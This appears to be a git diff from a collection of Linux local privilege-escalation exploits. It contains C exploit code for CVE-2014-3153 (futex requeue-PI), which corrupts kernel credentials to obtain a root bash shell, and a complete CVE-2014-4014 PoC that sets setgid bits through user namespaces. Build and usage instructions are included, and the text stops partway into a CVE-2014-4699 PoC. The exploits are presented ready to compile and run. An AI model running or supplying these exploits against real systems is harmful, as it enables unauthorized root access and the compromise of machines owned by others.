#define MUTEX_TO_NODE_LIST(mutex) (((void *)(mutex)) + sizeof(long) + sizeof(struct list_head))
|
||||
|
||||
////////////////////////////////////////////////////////////////////
|
||||
struct task_struct;
|
||||
|
||||
struct thread_info {
|
||||
struct task_struct *task;
|
||||
void *exec_domain;
|
||||
int flags;
|
||||
int status;
|
||||
int cpu;
|
||||
int preempt_count;
|
||||
void *addr_limit;
|
||||
};
|
||||
|
||||
struct list_head {
|
||||
struct list_head *next;
|
||||
struct list_head *prev;
|
||||
};
|
||||
|
||||
struct plist_head {
|
||||
struct list_head node_list;
|
||||
};
|
||||
|
||||
struct plist_node {
|
||||
int prio;
|
||||
struct list_head prio_list;
|
||||
struct list_head node_list;
|
||||
};
|
||||
|
||||
struct rt_mutex {
|
||||
unsigned long wait_lock;
|
||||
struct plist_head wait_list;
|
||||
struct task_struct *owner;
|
||||
};
|
||||
|
||||
struct rt_mutex_waiter {
|
||||
struct plist_node list_entry;
|
||||
struct plist_node pi_list_entry;
|
||||
struct task_struct *task;
|
||||
struct rt_mutex *lock;
|
||||
};
|
||||
|
||||
struct mmsghdr {
|
||||
struct msghdr msg_hdr;
|
||||
unsigned int msg_len;
|
||||
};
|
||||
|
||||
struct cred {
|
||||
int usage;
|
||||
int uid; /* real UID of the task */
|
||||
int gid; /* real GID of the task */
|
||||
int suid; /* saved UID of the task */
|
||||
int sgid; /* saved GID of the task */
|
||||
int euid; /* effective UID of the task */
|
||||
int egid; /* effective GID of the task */
|
||||
int fsuid; /* UID for VFS ops */
|
||||
int fsgid; /* GID for VFS ops */
|
||||
};
|
||||
|
||||
////////////////////////////////////////////////////////////////////
|
||||
|
||||
static int swag = 0;
|
||||
static int swag2 = 0;
|
||||
static int main_pid;
|
||||
|
||||
static pid_t waiter_thread_tid;
|
||||
|
||||
static pthread_mutex_t hacked_lock;
|
||||
static pthread_cond_t hacked;
|
||||
|
||||
static pthread_mutex_t done_lock;
|
||||
static pthread_cond_t done;
|
||||
|
||||
static pthread_mutex_t is_thread_desched_lock;
|
||||
static pthread_cond_t is_thread_desched;
|
||||
|
||||
static volatile int do_socket_tid_read = 0;
|
||||
static volatile int did_socket_tid_read = 0;
|
||||
|
||||
static volatile int do_dm_tid_read = 0;
|
||||
static volatile int did_dm_tid_read = 0;
|
||||
|
||||
static pid_t last_tid = 0;
|
||||
|
||||
static volatile int_sync_time_out = 0;
|
||||
|
||||
struct thread_info thinfo;
|
||||
char task_struct_buf[SIZEOF_TASK_STRUCT];
|
||||
struct cred cred_buf;
|
||||
|
||||
struct thread_info *hack_thread_stack = NULL;
|
||||
|
||||
pthread_t thread_client_to_setup_rt_waiter;
|
||||
|
||||
int listenfd;
|
||||
int sockfd;
|
||||
int clientfd;
|
||||
|
||||
////////////////////////////////////////////////////////////////
|
||||
int gettid()
|
||||
{
|
||||
return syscall(__NR_gettid);
|
||||
}
|
||||
|
||||
ssize_t read_pipe(void *kbuf, void *ubuf, size_t count) {
|
||||
int pipefd[2];
|
||||
ssize_t len;
|
||||
|
||||
pipe(pipefd);
|
||||
|
||||
len = write(pipefd[1], kbuf, count);
|
||||
|
||||
if (len != count) {
|
||||
printf("Thread %d failed in reading @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
|
||||
while(1) { sleep(10); }
|
||||
}
|
||||
|
||||
read(pipefd[0], ubuf, count);
|
||||
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
ssize_t write_pipe(void *kbuf, void *ubuf, size_t count) {
|
||||
int pipefd[2];
|
||||
ssize_t len;
|
||||
|
||||
pipe(pipefd);
|
||||
|
||||
write(pipefd[1], ubuf, count);
|
||||
len = read(pipefd[0], kbuf, count);
|
||||
|
||||
if (len != count) {
|
||||
printf("Thread %d failed in writing @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
|
||||
while(1) { sleep(10); }
|
||||
}
|
||||
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
int pthread_cancel_immediately(pthread_t thid)
|
||||
{
|
||||
pthread_kill(thid, SIGNAL_THREAD_EXIT);
|
||||
pthread_join(thid, NULL);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void set_addr_limit(void *sp)
|
||||
{
|
||||
long newlimit = -1;
|
||||
write_pipe(sp + OFFSET_ADDR_LIMIT, (void *)&newlimit, sizeof(long));
|
||||
}
|
||||
|
||||
void set_cred(struct cred *kcred)
|
||||
{
|
||||
struct cred cred_buf;
|
||||
int len;
|
||||
|
||||
len = read_pipe(kcred, &cred_buf, sizeof(cred_buf));
|
||||
cred_buf.uid = cred_buf.euid = cred_buf.suid = cred_buf.fsuid = 0;
|
||||
cred_buf.gid = cred_buf.egid = cred_buf.sgid = cred_buf.fsgid = 0;
|
||||
len = write_pipe(kcred, &cred_buf, sizeof(cred_buf));
|
||||
}
|
||||
|
||||
struct rt_mutex_waiter *pwaiter11;
|
||||
|
||||
void set_parent_cred(void *sp, int parent_tid)
|
||||
{
|
||||
int len;
|
||||
int tid;
|
||||
struct task_struct *pparent;
|
||||
struct cred *pcred;
|
||||
|
||||
set_addr_limit(sp);
|
||||
|
||||
len = read_pipe(sp, &thinfo, sizeof(thinfo));
|
||||
if(len != sizeof(thinfo)) {
|
||||
printf("Read %p error %d\n", sp, len);
|
||||
}
|
||||
|
||||
void *ptask = thinfo.task;
|
||||
len = read_pipe(ptask, task_struct_buf, SIZEOF_TASK_STRUCT);
|
||||
tid = *(int *)(task_struct_buf + OFFSET_PID);
|
||||
|
||||
while(tid != 0 && tid != parent_tid) {
|
||||
pparent = *(struct task_struct **)(task_struct_buf + OFFSET_REAL_PARENT);
|
||||
len = read_pipe(pparent, task_struct_buf, SIZEOF_TASK_STRUCT);
|
||||
tid = *(int *)(task_struct_buf + OFFSET_PID);
|
||||
}
|
||||
|
||||
if(tid == parent_tid) {
|
||||
pcred = *(struct cred **)(task_struct_buf + OFFSET_CRED);
|
||||
set_cred(pcred);
|
||||
} else
|
||||
printf("Pid %d not found\n", parent_tid);
|
||||
return;
|
||||
}
|
||||
|
||||
static int read_voluntary_ctxt_switches(pid_t pid)
|
||||
{
|
||||
char filename[256];
|
||||
FILE *fp;
|
||||
int vcscnt = -1;
|
||||
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp) {
|
||||
char filebuf[4096];
|
||||
char *pdest;
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
vcscnt = atoi(pdest + 0x19);
|
||||
fclose(fp);
|
||||
}
|
||||
return vcscnt;
|
||||
}
|
||||
|
||||
static void sync_timeout_task(int sig)
|
||||
{
|
||||
int_sync_time_out = 1;
|
||||
}
|
||||
|
||||
static int sync_with_child_getchar(pid_t pid, int volatile *do_request, int volatile *did_request)
|
||||
{
|
||||
while (*do_request == 0) { }
|
||||
printf("Press RETURN after one second...");
|
||||
*did_request = 1;
|
||||
getchar();
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int sync_with_child(pid_t pid, int volatile *do_request, int volatile *did_request)
|
||||
{
|
||||
struct sigaction act;
|
||||
int vcscnt;
|
||||
int_sync_time_out = 0;
|
||||
|
||||
act.sa_handler = sync_timeout_task;
|
||||
sigemptyset(&act.sa_mask);
|
||||
act.sa_flags = 0;
|
||||
act.sa_restorer = NULL;
|
||||
sigaction(SIGALRM, &act, NULL);
|
||||
|
||||
alarm(3);
|
||||
while (*do_request == 0) {
|
||||
if (int_sync_time_out)
|
||||
return -1;
|
||||
}
|
||||
|
||||
alarm(0);
|
||||
vcscnt = read_voluntary_ctxt_switches(pid);
|
||||
*did_request = 1;
|
||||
while (read_voluntary_ctxt_switches(pid) != vcscnt + 1) {
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void sync_with_parent(int volatile *do_request, int volatile *did_request)
|
||||
{
|
||||
*do_request = 1;
|
||||
while (*did_request == 0) { }
|
||||
}
|
||||
|
||||
void fix_rt_mutex_waiter_list(struct rt_mutex *pmutex)
|
||||
{
|
||||
struct rt_mutex_waiter *pwaiter6, *pwaiter7;
|
||||
struct rt_mutex_waiter waiter6, waiter7;
|
||||
struct rt_mutex mutex;
|
||||
if(!pmutex)
|
||||
return;
|
||||
read_pipe(pmutex, &mutex, sizeof(mutex));
|
||||
pwaiter6 = NODE_LIST_TO_WAITER(mutex.wait_list.node_list.next);
|
||||
if(!pwaiter6)
|
||||
return;
|
||||
read_pipe(pwaiter6, &waiter6, sizeof(waiter6));
|
||||
pwaiter7 = NODE_LIST_TO_WAITER(waiter6.list_entry.node_list.next);
|
||||
if(!pwaiter7)
|
||||
return;
|
||||
read_pipe(pwaiter7, &waiter7, sizeof(waiter7));
|
||||
|
||||
waiter6.list_entry.prio_list.prev = waiter6.list_entry.prio_list.next;
|
||||
waiter7.list_entry.prio_list.next = waiter7.list_entry.prio_list.prev;
|
||||
mutex.wait_list.node_list.prev = waiter6.list_entry.node_list.next;
|
||||
waiter7.list_entry.node_list.next = waiter6.list_entry.node_list.prev;
|
||||
|
||||
write_pipe(pmutex, &mutex, sizeof(mutex));
|
||||
write_pipe(pwaiter6, &waiter6, sizeof(waiter6));
|
||||
write_pipe(pwaiter7, &waiter7, sizeof(waiter7));
|
||||
}
|
||||
|
||||
static void void_handler(int signum)
|
||||
{
|
||||
pthread_exit(0);
|
||||
}
|
||||
|
||||
static void kernel_hack_task(int signum)
|
||||
{
|
||||
struct rt_mutex *prt_mutex, rt_mutex;
|
||||
struct rt_mutex_waiter rt_waiter11;
|
||||
int tid = syscall(__NR_gettid);
|
||||
int pid = getpid();
|
||||
|
||||
set_parent_cred(hack_thread_stack, main_pid);
|
||||
|
||||
read_pipe(pwaiter11, (void *)&rt_waiter11, sizeof(rt_waiter11));
|
||||
|
||||
prt_mutex = rt_waiter11.lock;
|
||||
read_pipe(prt_mutex, (void *)&rt_mutex, sizeof(rt_mutex));
|
||||
|
||||
void *ptask_struct = rt_mutex.owner;
|
||||
ptask_struct = (void *)((long)ptask_struct & ~ 0xF);
|
||||
int len = read_pipe(ptask_struct, task_struct_buf, SIZEOF_TASK_STRUCT);
|
||||
int *ppid = (int *)(task_struct_buf + OFFSET_PID);
|
||||
void **pstack = (void **)&task_struct_buf[8];
|
||||
void *owner_sp = *pstack;
|
||||
set_addr_limit(owner_sp);
|
||||
|
||||
pthread_mutex_lock(&hacked_lock);
|
||||
pthread_cond_signal(&hacked);
|
||||
pthread_mutex_unlock(&hacked_lock);
|
||||
}
|
||||
|
||||
static void *call_futex_lock_pi_with_priority(void *arg)
|
||||
{
|
||||
int prio;
|
||||
struct sigaction act;
|
||||
int ret;
|
||||
|
||||
prio = (long)arg;
|
||||
last_tid = syscall(__NR_gettid);
|
||||
|
||||
pthread_mutex_lock(&is_thread_desched_lock);
|
||||
pthread_cond_signal(&is_thread_desched);
|
||||
|
||||
act.sa_handler = void_handler;
|
||||
sigemptyset(&act.sa_mask);
|
||||
act.sa_flags = 0;
|
||||
act.sa_restorer = NULL;
|
||||
sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
|
||||
|
||||
act.sa_handler = kernel_hack_task;
|
||||
sigemptyset(&act.sa_mask);
|
||||
act.sa_flags = 0;
|
||||
act.sa_restorer = NULL;
|
||||
sigaction(SIGNAL_HACK_KERNEL, &act, NULL);
|
||||
|
||||
setpriority(PRIO_PROCESS, 0, prio);
|
||||
|
||||
pthread_mutex_unlock(&is_thread_desched_lock);
|
||||
|
||||
sync_with_parent(&do_dm_tid_read, &did_dm_tid_read);
|
||||
|
||||
ret = syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static pthread_t create_thread_do_futex_lock_pi_with_priority(int prio)
|
||||
{
|
||||
pthread_t th4;
|
||||
pid_t pid;
|
||||
|
||||
do_dm_tid_read = 0;
|
||||
did_dm_tid_read = 0;
|
||||
|
||||
pthread_mutex_lock(&is_thread_desched_lock);
|
||||
pthread_create(&th4, 0, call_futex_lock_pi_with_priority, (void *)(long)prio);
|
||||
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
|
||||
|
||||
pid = last_tid;
|
||||
|
||||
sync_with_child(pid, &do_dm_tid_read, &did_dm_tid_read);
|
||||
|
||||
pthread_mutex_unlock(&is_thread_desched_lock);
|
||||
|
||||
return th4;
|
||||
}
|
||||
|
||||
static int server_for_setup_rt_waiter(void)
|
||||
{
|
||||
int sockfd;
|
||||
int yes = 1;
|
||||
struct sockaddr_in addr = {0};
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
|
||||
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
|
||||
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(LOCAL_PORT);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
|
||||
|
||||
listen(sockfd, 1);
|
||||
listenfd = sockfd;
|
||||
|
||||
return accept(sockfd, NULL, NULL);
|
||||
}
|
||||
|
||||
static int connect_server_socket(void)
|
||||
{
|
||||
int sockfd;
|
||||
struct sockaddr_in addr = {0};
|
||||
int ret;
|
||||
int sock_buf_size;
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
if (sockfd < 0) {
|
||||
printf("socket failed\n");
|
||||
usleep(10);
|
||||
} else {
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(LOCAL_PORT);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
}
|
||||
|
||||
while (connect(sockfd, (struct sockaddr *)&addr, 16) < 0) {
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
sock_buf_size = 1;
|
||||
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
|
||||
|
||||
return sockfd;
|
||||
}
|
||||
|
||||
unsigned long iov_base0, iov_basex;
|
||||
size_t iov_len0, iov_lenx;
|
||||
|
||||
static void *client_to_setup_rt_waiter(void *waiter_plist)
|
||||
{
|
||||
int sockfd;
|
||||
struct mmsghdr msgvec[1];
|
||||
struct iovec msg_iov[8];
|
||||
unsigned long databuf[0x20];
|
||||
int i;
|
||||
int ret;
|
||||
struct sigaction act;
|
||||
|
||||
act.sa_handler = void_handler;
|
||||
sigemptyset(&act.sa_mask);
|
||||
act.sa_flags = 0;
|
||||
act.sa_restorer = NULL;
|
||||
sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
|
||||
|
||||
waiter_thread_tid = syscall(__NR_gettid);
|
||||
setpriority(PRIO_PROCESS, 0, 12);
|
||||
|
||||
sockfd = connect_server_socket();
|
||||
clientfd = sockfd;
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(databuf); i++) {
|
||||
databuf[i] = (unsigned long)waiter_plist;
|
||||
}
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(msg_iov); i++) {
|
||||
msg_iov[i].iov_base = waiter_plist;
|
||||
msg_iov[i].iov_len = (long)waiter_plist;
|
||||
}
|
||||
msg_iov[1].iov_base = (void *)iov_base0;
|
||||
|
||||
msgvec[0].msg_hdr.msg_name = databuf;
|
||||
msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
|
||||
msgvec[0].msg_hdr.msg_iov = msg_iov;
|
||||
msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
|
||||
msgvec[0].msg_hdr.msg_control = databuf;
|
||||
msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
|
||||
msgvec[0].msg_hdr.msg_flags = 0;
|
||||
msgvec[0].msg_len = 0;
|
||||
|
||||
syscall(__NR_futex, &swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &swag2, 0);
|
||||
|
||||
sync_with_parent(&do_socket_tid_read, &did_socket_tid_read);
|
||||
|
||||
ret = 0;
|
||||
|
||||
while (1) {
|
||||
ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
|
||||
if (ret <= 0) {
|
||||
break;
|
||||
} else
|
||||
printf("sendmmsg ret %d\n", ret);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void plist_set_next(struct list_head *node, struct list_head *head)
|
||||
{
|
||||
node->next = head;
|
||||
head->prev = node;
|
||||
node->prev = head;
|
||||
head->next = node;
|
||||
}
|
||||
|
||||
static void setup_waiter_params(struct rt_mutex_waiter *rt_waiters)
|
||||
{
|
||||
rt_waiters[0].list_entry.prio = USER_PRIO_BASE + 9;
|
||||
rt_waiters[1].list_entry.prio = USER_PRIO_BASE + 13;
|
||||
plist_set_next(&rt_waiters[0].list_entry.prio_list, &rt_waiters[1].list_entry.prio_list);
|
||||
plist_set_next(&rt_waiters[0].list_entry.node_list, &rt_waiters[1].list_entry.node_list);
|
||||
}
|
||||
|
||||
static bool do_exploit(void *waiter_plist)
|
||||
{
|
||||
void *magicval, *magicval2;
|
||||
struct rt_mutex_waiter *rt_waiters;
|
||||
pid_t pid;
|
||||
pid_t pid6, pid7, pid12, pid11;
|
||||
|
||||
rt_waiters = PRIO_LIST_TO_WAITER(waiter_plist);
|
||||
|
||||
syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
|
||||
|
||||
while (syscall(__NR_futex, &swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag) != 1) {
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
pthread_t th6 = create_thread_do_futex_lock_pi_with_priority(6);
|
||||
pthread_t th7 = create_thread_do_futex_lock_pi_with_priority(7);
|
||||
|
||||
swag2 = 0;
|
||||
do_socket_tid_read = 0;
|
||||
did_socket_tid_read = 0;
|
||||
|
||||
syscall(__NR_futex, &swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag2);
|
||||
|
||||
if (sync_with_child_getchar(waiter_thread_tid, &do_socket_tid_read, &did_socket_tid_read) < 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
setup_waiter_params(rt_waiters);
|
||||
magicval = rt_waiters[0].list_entry.prio_list.next;
|
||||
printf("Checking whether exploitable..");
|
||||
pthread_t th11 = create_thread_do_futex_lock_pi_with_priority(11);
|
||||
|
||||
if (rt_waiters[0].list_entry.prio_list.next == magicval) {
|
||||
printf("failed\n");
|
||||
return false;
|
||||
}
|
||||
printf("OK\nSeaching good magic...\n");
|
||||
magicval = rt_waiters[0].list_entry.prio_list.next;
|
||||
|
||||
pthread_cancel_immediately(th11);
|
||||
|
||||
pthread_t th11_1, th11_2;
|
||||
while(1) {
|
||||
setup_waiter_params(rt_waiters);
|
||||
th11_1 = create_thread_do_futex_lock_pi_with_priority(11);
|
||||
magicval = rt_waiters[0].list_entry.prio_list.next;
|
||||
hack_thread_stack = (struct thread_info *)((unsigned long)magicval & 0xffffffffffffe000);
|
||||
rt_waiters[1].list_entry.node_list.prev = (void *)&hack_thread_stack->addr_limit;
|
||||
|
||||
th11_2 = create_thread_do_futex_lock_pi_with_priority(11);
|
||||
magicval2 = rt_waiters[1].list_entry.node_list.prev;
|
||||
|
||||
printf("magic1=%p magic2=%p\n", magicval, magicval2);
|
||||
if(magicval < magicval2) {
|
||||
printf("Good magic found\nHacking...\n");
|
||||
break;
|
||||
} else {
|
||||
pthread_cancel_immediately(th11_1);
|
||||
pthread_cancel_immediately(th11_2);
|
||||
}
|
||||
}
|
||||
pwaiter11 = NODE_LIST_TO_WAITER(magicval2);
|
||||
pthread_mutex_lock(&hacked_lock);
|
||||
pthread_kill(th11_1, SIGNAL_HACK_KERNEL);
|
||||
pthread_cond_wait(&hacked, &hacked_lock);
|
||||
pthread_mutex_unlock(&hacked_lock);
|
||||
close(listenfd);
|
||||
|
||||
struct rt_mutex_waiter waiter11;
|
||||
struct rt_mutex *pmutex;
|
||||
int len = read_pipe(pwaiter11, &waiter11, sizeof(waiter11));
|
||||
if(len != sizeof(waiter11)) {
|
||||
pmutex = NULL;
|
||||
} else {
|
||||
pmutex = waiter11.lock;
|
||||
}
|
||||
fix_rt_mutex_waiter_list(pmutex);
|
||||
|
||||
pthread_cancel_immediately(th11_1);
|
||||
pthread_cancel_immediately(th11_2);
|
||||
|
||||
pthread_cancel_immediately(th7);
|
||||
pthread_cancel_immediately(th6);
|
||||
close(clientfd);
|
||||
pthread_cancel_immediately(thread_client_to_setup_rt_waiter);
|
||||
|
||||
exit(0);
|
||||
}
|
||||
|
||||
#define MMAP_ADDR_BASE 0x0c000000
|
||||
#define MMAP_LEN 0x0c001000
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
unsigned long mapped_address;
|
||||
void *waiter_plist;
|
||||
|
||||
printf("CVE-2014-3153 exploit by Chen Kaiqu(kaiquchen@163.com)\n");
|
||||
|
||||
main_pid = gettid();
|
||||
if(fork() == 0) {
|
||||
iov_base0 = (unsigned long)mmap((void *)0xb0000000, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, /*MAP_POPULATE |*/ MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
||||
if (iov_base0 < 0xb0000000) {
|
||||
printf("mmap failed?\n");
|
||||
return 1;
|
||||
}
|
||||
iov_len0 = 0x10000;
|
||||
|
||||
iov_basex = (unsigned long)mmap((void *)MMAP_ADDR_BASE, MMAP_LEN, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
||||
if (iov_basex < MMAP_ADDR_BASE) {
|
||||
printf("mmap failed?\n");
|
||||
return 1;
|
||||
}
|
||||
iov_lenx = MMAP_LEN;
|
||||
|
||||
waiter_plist = (void *)iov_basex + 0x400;
|
||||
pthread_create(&thread_client_to_setup_rt_waiter, NULL, client_to_setup_rt_waiter, waiter_plist);
|
||||
|
||||
sockfd = server_for_setup_rt_waiter();
|
||||
if (sockfd < 0) {
|
||||
printf("Server failed\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (!do_exploit(waiter_plist)) {
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
while(getuid())
|
||||
usleep(100);
|
||||
execl("/bin/bash", "bin/bash", NULL);
|
||||
return 0;
|
||||
}
|
||||
|
BIN
98-Linux提权/2014/CVE-2014-3153/CVE-2014-3153 ubuntu x86.zip
Normal file
BIN
98-Linux提权/2014/CVE-2014-3153/CVE-2014-3153 ubuntu x86.zip
Normal file
Binary file not shown.
BIN
98-Linux提权/2014/CVE-2014-3153/CVE-2014-3153.zip
Normal file
BIN
98-Linux提权/2014/CVE-2014-3153/CVE-2014-3153.zip
Normal file
Binary file not shown.
30
98-Linux提权/2014/CVE-2014-3153/README.md
Normal file
30
98-Linux提权/2014/CVE-2014-3153/README.md
Normal file
@ -0,0 +1,30 @@
|
||||
# CVE-2014-3153
|
||||
|
||||
CVE-2014-3153
|
||||
|
||||
The exp is from [@timwr](https://github.com/timwr/CVE-2014-3153)
|
||||
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2014-3153](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3153)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/35370/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
3.3.5 ,3.3.4 ,3.3.2 ,3.2.13 ,3.2.9 ,3.2.1 ,3.1.8 ,3.0.5 ,3.0.4 ,3.0.2 ,3.0.1 ,2.6.39 ,2.6.38 ,2.6.37 ,2.6.35 ,2.6.34 ,2.6.33 ,2.6.32 ,2.6.9 ,2.6.8 ,2.6.7 ,2.6.6 ,2.6.5 ,2.6.4 ,3.2.2 ,3.0.18 ,3.0 ,2.6.8.1
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc exploit.c -o exploit -lpthread
|
||||
$ ./exploit
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
* [Exploiting the Futex Bug and uncovering Towelroot](http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/)
|
||||
* [CVE-2014-3153内核漏洞分析](http://www.tuicool.com/articles/nm2AZvB)
|
||||
* [cve2014-3153 漏洞之详细分析与利用](http://blog.topsec.com.cn/ad_lab/cve2014-3153/)
|
||||
* [Research of CVE-2014-3153 and its famous exploit towelroot on x86](https://github.com/geekben/towelroot)
|
||||
|
||||
|
BIN
98-Linux提权/2014/CVE-2014-3153/UPDATE-SuperSU-v1.99r4.zip
Normal file
BIN
98-Linux提权/2014/CVE-2014-3153/UPDATE-SuperSU-v1.99r4.zip
Normal file
Binary file not shown.
72
98-Linux提权/2014/CVE-2014-4014/33824.c
Normal file
72
98-Linux提权/2014/CVE-2014-4014/33824.c
Normal file
@ -0,0 +1,72 @@
|
||||
/**
|
||||
* CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
|
||||
*
|
||||
* Vitaly Nikolenko
|
||||
* http://hashcrack.org
|
||||
*
|
||||
* Usage: ./poc [file_path]
|
||||
*
|
||||
* where file_path is the file on which you want to set the sgid bit
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <sys/wait.h>
|
||||
#include <sched.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <string.h>
|
||||
#include <assert.h>
|
||||
|
||||
#define STACK_SIZE (1024 * 1024)
|
||||
static char child_stack[STACK_SIZE];
|
||||
|
||||
struct args {
|
||||
int pipe_fd[2];
|
||||
char *file_path;
|
||||
};
|
||||
|
||||
static int child(void *arg) {
|
||||
struct args *f_args = (struct args *)arg;
|
||||
char c;
|
||||
|
||||
// close stdout
|
||||
close(f_args->pipe_fd[1]);
|
||||
|
||||
assert(read(f_args->pipe_fd[0], &c, 1) == 0);
|
||||
|
||||
// set the setgid bit
|
||||
chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
int fd;
|
||||
pid_t pid;
|
||||
char mapping[1024];
|
||||
char map_file[PATH_MAX];
|
||||
struct args f_args;
|
||||
|
||||
assert(argc == 2);
|
||||
|
||||
f_args.file_path = argv[1];
|
||||
// create a pipe for synching the child and parent
|
||||
assert(pipe(f_args.pipe_fd) != -1);
|
||||
|
||||
pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args);
|
||||
assert(pid != -1);
|
||||
|
||||
// get the current uid outside the namespace
|
||||
snprintf(mapping, 1024, "0 %d 1\n", getuid());
|
||||
|
||||
// update uid and gid maps in the child
|
||||
snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map", (long) pid);
|
||||
fd = open(map_file, O_RDWR); assert(fd != -1);
|
||||
|
||||
assert(write(fd, mapping, strlen(mapping)) == strlen(mapping));
|
||||
close(f_args.pipe_fd[1]);
|
||||
|
||||
assert (waitpid(pid, NULL, 0) != -1);
|
||||
}
|
29
98-Linux提权/2014/CVE-2014-4014/README.md
Normal file
29
98-Linux提权/2014/CVE-2014-4014/README.md
Normal file
@ -0,0 +1,29 @@
|
||||
# CVE-2014-4014
|
||||
```
|
||||
The capabilities implementation in the Linux kernel before 3.14.8 does not properly consider that namespaces are inapplicable to inodes,
|
||||
which allows local users to bypass intended chmod restrictions by first creating a user namespace,
|
||||
as demonstrated by setting the setgid bit on a file with group ownership of root.
|
||||
```
|
||||
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2014-4014](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4014)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/33824/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
before 3.14.8
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
./poc [file_path]
|
||||
```
|
||||

|
||||
|
||||
## References
|
||||
* [CVE-2014-4014:Linux内核本地权限提升利用](http://www.tuicool.com/articles/eQnaEnQ)
|
||||
|
||||
|
||||
|
||||
|
Binary file not shown.
After Width: | Height: | Size: 121 KiB |
125
98-Linux提权/2014/CVE-2014-4699/34134.c
Normal file
125
98-Linux提权/2014/CVE-2014-4699/34134.c
Normal file
@ -0,0 +1,125 @@
|
||||
/**
|
||||
* CVE-2014-4699 ptrace/sysret PoC
|
||||
* by Vitaly Nikolenko
|
||||
* vnik@hashcrack.org
|
||||
*
|
||||
* > gcc -O2 poc_v0.c
|
||||
*
|
||||
* This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the
|
||||
* following will trigger the #GP in sysret and overwrite the #PF handler so we
|
||||
* can land to our NOP sled mapped at 0x80000000.
|
||||
* However, once landed, the IDT will be trashed. We can either attempt to
|
||||
* restore it (then escalate privileges and execute our shellcode) or find
|
||||
* something else to overwrite that would transfer exec flow to our controlled
|
||||
* user-space address. Since 3.10.something, IDT is read-only anyway. If you
|
||||
* have any ideas, let me know.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <assert.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/user.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <errno.h>
|
||||
|
||||
